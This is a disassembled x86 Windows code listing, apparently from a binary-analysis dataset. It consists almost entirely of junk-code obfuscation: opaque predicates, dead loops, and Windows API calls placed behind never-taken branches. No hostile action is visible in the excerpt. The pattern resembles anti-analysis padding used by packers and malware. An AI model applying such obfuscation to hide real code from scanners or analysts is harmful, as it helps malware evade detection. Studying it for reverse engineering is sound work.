cmp dword [ebp - 0xe98], eax
jne 0x45465b
mov dword [ebp - 0x1b98], 1
jmp 0x454662
and dword [ebp - 0x1b98], 0
mov eax, dword [ebp - 0x1b98]
mov dword [ebp - 0x1ba8], eax
jmp 0x4547d5
mov dword [ebp - 0x269c], 2
mov dword [ebp - 0xa34], 0
jmp 0x454696
mov eax, dword [ebp - 0xa34]
inc eax
mov dword [ebp - 0xa34], eax
cmp dword [ebp - 0xa34], 2
jge 0x4546b2
mov eax, dword [ebp - 0xa34]
mov dword [ebp + eax*4 - 0x2a40], 0xe88f3c25
jmp 0x454689
mov dword [ebp - 0x2c8], 0
jmp 0x4546cb
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x14
jle 0x4547d5
mov dword [ebp - 0xad8], 0x189efa4e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a40], 0
jne 0x454771
cmp dword [ebp - 0xad8], 1
jle 0x454707
mov dword [ebp - 0xea0], 1
jmp 0x45470e
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0xad8]
mov dword [ebp - 0x2c64], eax
cmp dword [ebp - 0xea0], 0x9bb5f37d
jbe 0x454732
mov dword [ebp - 0x1ba0], 1
jmp 0x454739
and dword [ebp - 0x1ba0], 0
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0x1ba0], eax
je 0x454753
mov dword [ebp - 0xea8], 1
jmp 0x45475a
and dword [ebp - 0xea8], 0
mov eax, dword [ebp - 0x269c]
cmp dword [ebp - 0xea8], eax
jne 0x454771
and dword [ebp - 0xeb0], 0
jmp 0x45477b
mov dword [ebp - 0xeb0], 1
mov eax, dword [ebp - 0x1ba8]
cmp dword [ebp - 0xeb0], eax
jg 0x454795
mov dword [ebp - 0x1bb0], 1
jmp 0x45479c
and dword [ebp - 0x1bb0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a40]
cmp dword [ebp - 0x1bb0], eax
je 0x4547bd
mov dword [ebp - 0xeb8], 1
jmp 0x4547c4
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0xad8], eax
jmp 0x4546be
movzx eax, byte [ebp - 0x313]
test eax, eax
je 0x4547fb
push 0
push 0x2145
push 0xb90
push 0x17f2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x568], 0xd9532bb1
mov dword [ebp - 0xbb8], 1
mov dword [ebp - 0x1dc], 0
jmp 0x454828
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 3
jge 0x454844
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x2ad4], 0xffffffff
jmp 0x45481b
mov dword [ebp - 0x1dc], 0
jmp 0x45485d
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 4
jge 0x454879
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x3434], 2
jmp 0x454850
imul eax, dword [ebp - 0x568], 0xfffd
test eax, eax
jne 0x454899
cmp dword [ebp - 0x568], 0
jne 0x454899
and dword [ebp - 0x1bb8], 0
jmp 0x4548a3
mov dword [ebp - 0x1bb8], 1
mov eax, dword [ebp - 0x1bb8]
mov dword [ebp - 0xbb8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbb8]
mov dword [ebp + eax - 0x2ad4], ecx
cmp dword [ebp - 0xbb8], 0
jne 0x4548f3
cmp dword [ebp - 0x568], 1
jl 0x4548e0
mov dword [ebp - 0xec0], 1
jmp 0x4548e7
and dword [ebp - 0xec0], 0
cmp dword [ebp - 0xec0], 0x8953
jge 0x45490f
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x3434], 0
je 0x45490f
mov dword [ebp - 0x1bc0], 1
jmp 0x454916
and dword [ebp - 0x1bc0], 0
mov eax, dword [ebp - 0x568]
cmp eax, dword [ebp - 0x1bc0]
jne 0x454930
mov dword [ebp - 0xec8], 1
jmp 0x454937
and dword [ebp - 0xec8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ad4]
cmp dword [ebp - 0xec8], eax
jl 0x454958
mov dword [ebp - 0x1bc8], 1
jmp 0x45495f
and dword [ebp - 0x1bc8], 0
mov eax, dword [ebp - 0x568]
cmp dword [ebp - 0x1bc8], eax
je 0x454979
mov dword [ebp - 0xed0], 1
jmp 0x454980
and dword [ebp - 0xed0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xed0]
mov dword [ebp + eax - 0x2ad4], ecx
cmp dword [ebp + 8], 2
jl 0x45f504
mov dword [ebp - 0x668], 0x2b99
mov dword [ebp - 0xae0], 0xfffffffe
mov dword [ebp - 0x1be8], 0xfd47030f
mov dword [ebp - 0x6e4], 0
jmp 0x4549d4
mov eax, dword [ebp - 0x6e4]
inc eax
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 1
jge 0x4549f0
mov eax, dword [ebp - 0x6e4]
mov dword [ebp + eax*4 - 0x4f4], 0x1713b910
jmp 0x4549c7
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4f4], 0xffffffe7
jmp 0x454a1e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4f4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x4f4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4f4], 0xffffffe6
je 0x454c02
mov dword [ebp - 0x570], 0xfffffff8
mov dword [ebp - 0xed8], 0xde6bc044
mov dword [ebp - 0x1bf0], 0x71639956
mov dword [ebp - 0x26ac], 0xffffffff
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x4f4]
cmp dword [ebp + eax - 0x4f4], ecx
jg 0x454a82
mov dword [ebp - 0x26a4], 1
jmp 0x454a89
and dword [ebp - 0x26a4], 0
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x2c6c], eax
mov eax, dword [ebp - 0x668]
mov ecx, dword [ebp - 0x668]
lea eax, [eax + ecx + 6]
sub eax, dword [ebp - 0x668]
jns 0x454ab9
mov dword [ebp - 0x1bd0], 1
jmp 0x454ac0
and dword [ebp - 0x1bd0], 0
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0xed8], eax
mov eax, dword [ebp - 0x1bd0]
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0xae0]
add eax, 0x40ca228b
cmp dword [ebp - 0xed8], eax
jle 0x454af7
mov dword [ebp - 0x1bd8], 1
jmp 0x454afe
and dword [ebp - 0x1bd8], 0
mov eax, dword [ebp - 0x668]
cmp dword [ebp - 0x1bd8], eax
jle 0x454b18
mov dword [ebp - 0xee0], 1
jmp 0x454b1f
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0x570]
add eax, dword [ebp - 0xee0]
cmp eax, dword [ebp - 0x570]
jge 0x454b3f
mov dword [ebp - 0x1be0], 1
jmp 0x454b46
and dword [ebp - 0x1be0], 0
mov eax, dword [ebp - 0x668]
cmp dword [ebp - 0x1be0], eax
jg 0x454b60
mov dword [ebp - 0xee8], 1
jmp 0x454b67
and dword [ebp - 0xee8], 0
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x1be8], eax
cmp dword [ebp - 0x1be8], 3
jbe 0x454b88
mov dword [ebp - 0xef0], 1
jmp 0x454b8f
and dword [ebp - 0xef0], 0
mov eax, dword [ebp - 0xef0]
mov dword [ebp - 0x1bf0], eax
cmp dword [ebp - 0x1bf0], 0
je 0x454bad
mov eax, 0xed69
test eax, eax
jne 0x454bb4
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x454bc9
cmp dword [ebp - 0xae0], 0
je 0x454bc9
mov dword [ebp - 0xef8], 1
jmp 0x454bd0
and dword [ebp - 0xef8], 0
mov eax, dword [ebp - 0x570]
cmp eax, dword [ebp - 0xef8]
je 0x454bea
mov dword [ebp - 0x1bf8], 1
jmp 0x454bf1
and dword [ebp - 0x1bf8], 0
mov eax, dword [ebp - 0x1bf8]
mov dword [ebp - 0x26ac], eax
jmp 0x454a03
mov dword [ebp - 0x278], 2
mov dword [ebp - 0x5f0], 0x9cec79e6
mov dword [ebp - 0x8c0], 0x8b15b45b
mov dword [ebp - 0xf08], 4
mov dword [ebp - 0xc8], 0xf9aa2aaf
mov dword [ebp - 0x26cc], 0x6461d90b
mov dword [ebp - 0x174], 0
jmp 0x454c57
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 2
jge 0x454c73
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0xcd4], 0x633efc07
jmp 0x454c4a
mov dword [ebp - 0x174], 0
jmp 0x454c8c
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 2
jge 0x454ca8
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x26f0], 1
jmp 0x454c7f
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x5f0], eax
xor eax, eax
jne 0x454ccd
cmp dword [ebp - 0x5f0], 0
jne 0x454ccd
mov dword [ebp - 0xf00], 1
jmp 0x454cd4
and dword [ebp - 0xf00], 0
mov eax, dword [ebp - 0x278]
cmp eax, dword [ebp - 0xf00]
je 0x454cee
mov dword [ebp - 0x1c00], 1
jmp 0x454cf5
and dword [ebp - 0x1c00], 0
mov eax, dword [ebp - 0x1c00]
sub eax, dword [ebp - 0x278]
cmp eax, dword [ebp - 0x5f0]
jl 0x454d15
mov dword [ebp - 0x26b4], 1
jmp 0x454d1c
and dword [ebp - 0x26b4], 0
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x26bc], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x26bc]
mov dword [ebp + eax - 0xcd4], ecx
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x2c74], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0x2c7c], eax
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x278], eax
jl 0x454fa0
mov dword [ebp - 0x578], 0x3ed423cb
mov dword [ebp - 0x4ac], 0x9f4802d1
mov dword [ebp - 0x2c84], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x2c8c], eax
mov dword [ebp - 0x5f0], 0xfffffffd
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0xf08], eax
mov eax, dword [ebp - 0x8c0]
cmp dword [ebp - 0xf08], eax
je 0x454dbf
mov dword [ebp - 0x1c08], 1
jmp 0x454dc6
and dword [ebp - 0x1c08], 0
mov eax, dword [ebp - 0x8c0]
imul eax, dword [ebp - 0x1c08]
cmp eax, dword [ebp - 0xc8]
jge 0x454de7
mov dword [ebp - 0xf10], 1
jmp 0x454dee
and dword [ebp - 0xf10], 0
cmp dword [ebp - 0xf10], 0xb2b0402a
ja 0x454e06
mov dword [ebp - 0x1c10], 1
jmp 0x454e0d
and dword [ebp - 0x1c10], 0
mov eax, dword [ebp - 0x578]
cmp dword [ebp - 0x1c10], eax
je 0x454e27
mov dword [ebp - 0xf18], 1
jmp 0x454e2e
and dword [ebp - 0xf18], 0
cmp dword [ebp - 0xf18], 0x1265
je 0x454e46
mov dword [ebp - 0xf20], 1
jmp 0x454e4d
and dword [ebp - 0xf20], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x1c18], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c18]
mov dword [ebp + eax - 0xcd4], ecx
mov eax, dword [ebp - 0x1c18]
cmp eax, dword [ebp - 0xf20]
jne 0x454e86
mov dword [ebp - 0x1c20], 1
jmp 0x454e8d
and dword [ebp - 0x1c20], 0
mov eax, dword [ebp - 0x8c0]
cmp eax, dword [ebp - 0x1c20]
jle 0x454ea7
mov dword [ebp - 0xf28], 1
jmp 0x454eae
and dword [ebp - 0xf28], 0
cmp dword [ebp - 0xf28], 0xa5b4
jg 0x454ec6
mov dword [ebp - 0x1c28], 1
jmp 0x454ecd
and dword [ebp - 0x1c28], 0
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x1c28]
cmp eax, dword [ebp - 0x578]
jg 0x454ef3
cmp dword [ebp - 0x578], 0
jne 0x454ef3
and dword [ebp - 0xf30], 0
jmp 0x454efd
mov dword [ebp - 0xf30], 1
mov eax, dword [ebp - 0xf30]
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0
je 0x454f27
mov eax, 0x59e4
test eax, eax
je 0x454f27
mov dword [ebp - 0x1c30], 1
jmp 0x454f2e
and dword [ebp - 0x1c30], 0
cmp dword [ebp - 0x1c30], 0x95621847
je 0x454f46
mov dword [ebp - 0xf38], 1
jmp 0x454f4d
and dword [ebp - 0xf38], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf38]
mov dword [ebp + eax - 0x26f0], ecx
mov dword [ebp - 0x4ac], 0
jmp 0x454f79
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0x18
jl 0x454f9b
mov dword [ebp - 0x1c38], 0x7039802e
mov eax, dword [ebp - 0x1c38]
inc eax
mov dword [ebp - 0x1c38], eax
jmp 0x454f6c
jmp 0x455129
mov dword [ebp - 0xc48], 0x3f1863d4
mov dword [ebp - 0x26c4], 0x35f2012c
mov dword [ebp - 0xc8], 0
jmp 0x454fcd
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jg 0x455129
mov dword [ebp - 0xf40], 0xc374484a
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x26f0]
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xcd4], 0
je 0x455016
mov eax, 0x8543b579
test eax, eax
je 0x455016
mov dword [ebp - 0x1c48], 1
jmp 0x45501d
and dword [ebp - 0x1c48], 0
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0xcd4]
mov dword [ebp - 0xc48], eax
mov eax, dword [ebp - 0xc48]
mov dword [ebp - 0xf40], eax
cmp dword [ebp - 0xf40], 0
jne 0x455057
cmp dword [ebp - 0xc48], 0
jne 0x455057
and dword [ebp - 0x1c40], 0
jmp 0x455061
mov dword [ebp - 0x1c40], 1
mov eax, dword [ebp - 0x26c4]
cmp dword [ebp - 0x1c40], eax
jle 0x45507b
mov dword [ebp - 0xf48], 1
jmp 0x455082
and dword [ebp - 0xf48], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcd4]
imul eax, dword [ebp - 0xf48]
test eax, eax
je 0x4550af
mov eax, 0x5f3778a8
test eax, eax
je 0x4550af
mov dword [ebp - 0xf50], 1
jmp 0x4550b6
and dword [ebp - 0xf50], 0
mov eax, dword [ebp - 0x1c48]
sub eax, dword [ebp - 0xf50]
cmp eax, dword [ebp - 0x26cc]
jne 0x4550d6
mov dword [ebp - 0xae8], 1
jmp 0x4550dd
and dword [ebp - 0xae8], 0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xae8]
mov dword [ebp + eax*4 - 0xcd4], ecx
mov eax, dword [ebp - 0x8c0]
cmp dword [ebp - 0xae8], eax
jne 0x45510a
mov dword [ebp - 0x1c50], 1
jmp 0x455111
and dword [ebp - 0x1c50], 0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x1c50]
mov dword [ebp + eax*4 - 0x26f0], ecx
jmp 0x454fc0
mov dword [ebp - 0x60], 5
mov dword [ebp - 0x214], 0x3e1e01b1
mov dword [ebp - 0x630], 1
mov dword [ebp - 0x2b0], 1
mov dword [ebp - 0x26dc], 1
mov dword [ebp - 0x6ec], 0
jmp 0x455171
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 2
jge 0x45518d
mov eax, dword [ebp - 0x6ec]
mov dword [ebp + eax*4 - 0x21b0], 0xfffffff6
jmp 0x455164
cmp dword [ebp - 0x60], 0
jne 0x4551a2
cmp dword [ebp - 0x60], 0
jne 0x4551a2
and dword [ebp - 0xf60], 0
jmp 0x4551ac
mov dword [ebp - 0xf60], 1
cmp dword [ebp - 0x60], 0xffffffff
ja 0x4551c1
cmp dword [ebp - 0x60], 0
jne 0x4551c1
and dword [ebp - 0xf58], 0
jmp 0x4551cb
mov dword [ebp - 0xf58], 1
cmp dword [ebp - 0xf58], 0x2e97
jle 0x4551e9
cmp dword [ebp - 0x60], 0
je 0x4551e9
mov dword [ebp - 0x1c58], 1
jmp 0x4551f0
and dword [ebp - 0x1c58], 0
mov eax, dword [ebp - 0x1c58]
sub eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x214]
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x630]
cmp dword [ebp - 0xf60], eax
jg 0x45521f
mov dword [ebp - 0x1c60], 1
jmp 0x455226
and dword [ebp - 0x1c60], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x1c60], eax
jg 0x45523d
mov dword [ebp - 0xf68], 1
jmp 0x455244
and dword [ebp - 0xf68], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0xf68], eax
jl 0x45525b
mov dword [ebp - 0x1c68], 1
jmp 0x455262
and dword [ebp - 0x1c68], 0
mov eax, dword [ebp - 0x60]
imul eax, dword [ebp - 0x1c68]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x2c94], eax
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x2c9c], eax
imul eax, dword [ebp - 0x2b0], 0xf2fd
test eax, eax
je 0x4552aa
cmp dword [ebp - 0x2b0], 0
je 0x4552aa
mov dword [ebp - 0xf70], 1
jmp 0x4552b1
and dword [ebp - 0xf70], 0
mov eax, dword [ebp - 0xf70]
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x630]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x21b0]
cmp eax, dword [ebp - 0x2b0]
jge 0x4552e5
mov dword [ebp - 0x1c70], 1
jmp 0x4552ec
and dword [ebp - 0x1c70], 0
mov eax, dword [ebp - 0x214]
imul eax, dword [ebp - 0x1c70]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x21b0]
jge 0x455314
mov dword [ebp - 0xf78], 1
jmp 0x45531b
and dword [ebp - 0xf78], 0
cmp dword [ebp - 0xf78], 0x8cdab0b8
jb 0x455333
mov dword [ebp - 0x1c78], 1
jmp 0x45533a
and dword [ebp - 0x1c78], 0
mov eax, dword [ebp - 0x2b0]
cmp dword [ebp - 0x1c78], eax
jle 0x455354
mov dword [ebp - 0x26d4], 1
jmp 0x45535b
and dword [ebp - 0x26d4], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x2ca4], eax
xor eax, eax
inc eax
jne 0x45537b
mov dword [ebp - 0xf80], 1
jmp 0x455382
and dword [ebp - 0xf80], 0
mov eax, dword [ebp - 0xf80]
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x214]
add eax, dword [ebp - 0x2b0]
test eax, eax
jg 0x4553aa
mov dword [ebp - 0x1c80], 1
jmp 0x4553b1
and dword [ebp - 0x1c80], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0x1c80], eax
jl 0x4553cb
mov dword [ebp - 0xf88], 1
jmp 0x4553d2
and dword [ebp - 0xf88], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21b0]
cmp dword [ebp - 0xf88], eax
jge 0x4553f3
mov dword [ebp - 0x1c88], 1
jmp 0x4553fa
and dword [ebp - 0x1c88], 0
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x1c88]
jle 0x455414
mov dword [ebp - 0xf90], 1
jmp 0x45541b
and dword [ebp - 0xf90], 0
cmp dword [ebp - 0xf90], 0
je 0x455449
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21b0], 0
je 0x455449
cmp dword [ebp - 0x2b0], 0
je 0x455449
mov dword [ebp - 0x1c90], 1
jmp 0x455450
and dword [ebp - 0x1c90], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0x1c90], eax
jl 0x45546a
mov dword [ebp - 0xf98], 1
jmp 0x455471
and dword [ebp - 0xf98], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21b0]
mov ecx, dword [ebp - 0xf98]
lea eax, [ecx + eax + 0x3f04e266]
sub eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x214]
jge 0x4554a5
mov dword [ebp - 0x1c98], 1
jmp 0x4554ac
and dword [ebp - 0x1c98], 0
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0x1c98], eax
jge 0x4554c6
mov dword [ebp - 0xfa0], 1
jmp 0x4554cd
and dword [ebp - 0xfa0], 0
mov eax, dword [ebp - 0xfa0]
mov dword [ebp - 0x26dc], eax
mov dword [ebp - 0x580], 0xfffffff7
mov dword [ebp - 0xbc0], 0x3dce9d05
mov dword [ebp - 0x6f4], 0xfffffffe
mov dword [ebp - 0x26e4], 0xd4e677b5
mov dword [ebp - 0x580], 0
jmp 0x45551a
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 0x12
jne 0x45569a
mov dword [ebp - 0x27a4], 0
mov dword [ebp - 0x8c4], 0
jmp 0x45554a
mov eax, dword [ebp - 0x8c4]
inc eax
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 1
jge 0x455566
mov eax, dword [ebp - 0x8c4]
mov dword [ebp + eax*4 - 0xaf0], 0x5b3b9da4
jmp 0x45553d
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x26e4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaf0]
add eax, dword [ebp - 0x6f4]
cmp eax, 0x88039d6b
jae 0x4555a5
mov dword [ebp - 0x1ca0], 1
jmp 0x4555ac
and dword [ebp - 0x1ca0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaf0]
cmp dword [ebp - 0x1ca0], eax
jle 0x4555cd
mov dword [ebp - 0xfa8], 1
jmp 0x4555d4
and dword [ebp - 0xfa8], 0
mov eax, dword [ebp - 0xbc0]
cmp dword [ebp - 0xfa8], eax
jge 0x4555ee
mov dword [ebp - 0x1ca8], 1
jmp 0x4555f5
and dword [ebp - 0x1ca8], 0
cmp dword [ebp - 0x1ca8], 9
jl 0x45560a
mov dword [ebp - 0xfb0], 1
jmp 0x455611
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0xbc0]
cmp dword [ebp - 0xfb0], eax
jle 0x45562b
mov dword [ebp - 0x1cb0], 1
jmp 0x455632
and dword [ebp - 0x1cb0], 0
mov eax, dword [ebp - 0xbc0]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xaf0]
imul eax, dword [ebp - 0x1cb0]
test eax, eax
je 0x45565f
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x27a4], eax
jmp 0x455695
mov dword [ebp - 0x27ac], 0x2c59
mov byte [ebp - 0x315], 0
movzx eax, byte [ebp - 0x315]
test eax, eax
je 0x455687
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [ebp - 0x27ac], 0
je 0x455695
jmp 0x45550d
jmp 0x45550d
mov dword [ebp - 0x8ec], 0xfffffffb
mov dword [ebp - 0x6fc], 0xa876e6ba
mov dword [ebp - 0x8cc], 0
jmp 0x4556c7
mov eax, dword [ebp - 0x8cc]
inc eax
mov dword [ebp - 0x8cc], eax
cmp dword [ebp - 0x8cc], 2
jge 0x4556e3
mov eax, dword [ebp - 0x8cc]
mov dword [ebp + eax*4 - 0x34cc], 0x99ff6065
jmp 0x4556ba
mov dword [ebp - 0x6fc], 1
jmp 0x4556fc
mov eax, dword [ebp - 0x6fc]
dec eax
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0
jl 0x455784
mov dword [ebp - 0x8d4], 0xbf25cbd9
mov byte [ebp - 0x317], 0
movzx eax, byte [ebp - 0x317]
test eax, eax
je 0x45573a
push 0x118a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov dword [ebp - 0x8d4], 0
jmp 0x455753
mov eax, dword [ebp - 0x8d4]
inc eax
mov dword [ebp - 0x8d4], eax
cmp dword [ebp - 0x8d4], 1
jg 0x45577f
mov byte [ebp - 0x319], 0
movzx eax, byte [ebp - 0x319]
test eax, eax
je 0x45577d
push 0x19cf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
jmp 0x455746
jmp 0x4556ef
mov dword [ebp - 0x704], 0
jmp 0x45579d
mov eax, dword [ebp - 0x704]
inc eax
mov dword [ebp - 0x704], eax
cmp dword [ebp - 0x704], 3
jge 0x4557b9
mov eax, dword [ebp - 0x704]
mov dword [ebp + eax*4 - 0x3518], 0xff0ea75c
jmp 0x455790
mov dword [ebp - 0x17c], 0
jmp 0x4557d2
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 2
jge 0x4557ee
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x2304], 0xffffffff
jmp 0x4557c5
mov dword [ebp - 0x17c], 0
jmp 0x455807
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 1
jge 0x455823
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x2cac], 0x3245f1db
jmp 0x4557fa
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2304], 0xfffffff1
jmp 0x455851
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2304]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2304], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2304], 0x10
jge 0x4558f9
mov dword [ebp - 0x5f8], 0xd37ad43
mov dword [ebp - 0x5f8], 0
jmp 0x455888
mov eax, dword [ebp - 0x5f8]
dec eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0
jl 0x4558e9
mov dword [ebp - 0x8dc], 0x7909b792
mov dword [ebp - 0x8dc], 0
jmp 0x4558b4
mov eax, dword [ebp - 0x8dc]
inc eax
mov dword [ebp - 0x8dc], eax
cmp dword [ebp - 0x8dc], 0
jg 0x4558e7
mov byte [ebp - 0x31b], 0
movzx eax, byte [ebp - 0x31b]
test eax, eax
je 0x4558e5
push 0
push 0
push 0xbe0
push 0x1b4d
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
jmp 0x4558a7
jmp 0x45587b
cmp dword [ebp - 0x5f8], 0
je 0x4558f4
jmp 0x4558f9
jmp 0x455836
mov dword [ebp - 0x2cb4], 1
mov dword [ebp - 0xfb8], 0xfffffff7
mov dword [ebp - 0x1e4], 0
jmp 0x455926
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 4
jge 0x455942
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x2a28], 0xfffffffa
jmp 0x455919
mov dword [ebp - 0x1e4], 0
jmp 0x45595b
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x455977
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x2cbc], 0x90a624cd
jmp 0x45594e
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2a28], 0xffffffff
jmp 0x4559a2
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2a28]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2a28], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2a28], 0xa
jl 0x4559dd
mov dword [ebp - 0x27b4], 0xfffb
mov eax, dword [ebp - 0xfb8]
dec eax
mov dword [ebp - 0xfb8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a28]
mov dword [ebp - 0x27b4], eax
jmp 0x455989
mov byte [ebp - 0x321], 0
mov dword [ebp - 0x280], 0x2124f84b
mov dword [ebp - 0x588], 0xffffffff
mov dword [ebp - 0x70c], 0
jmp 0x455a11
mov eax, dword [ebp - 0x70c]
inc eax
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 2
jge 0x455a2d
mov eax, dword [ebp - 0x70c]
mov dword [ebp + eax*4 - 0x22d4], 0xa2a3b3f3
jmp 0x455a04
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x22d4], 0x997
mov eax, 0x2374
imul eax, eax, 0x997
test eax, eax
jne 0x455acc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22d4], 0xfffffffe
jg 0x455a69
mov dword [ebp - 0x1cb8], 1
jmp 0x455a70
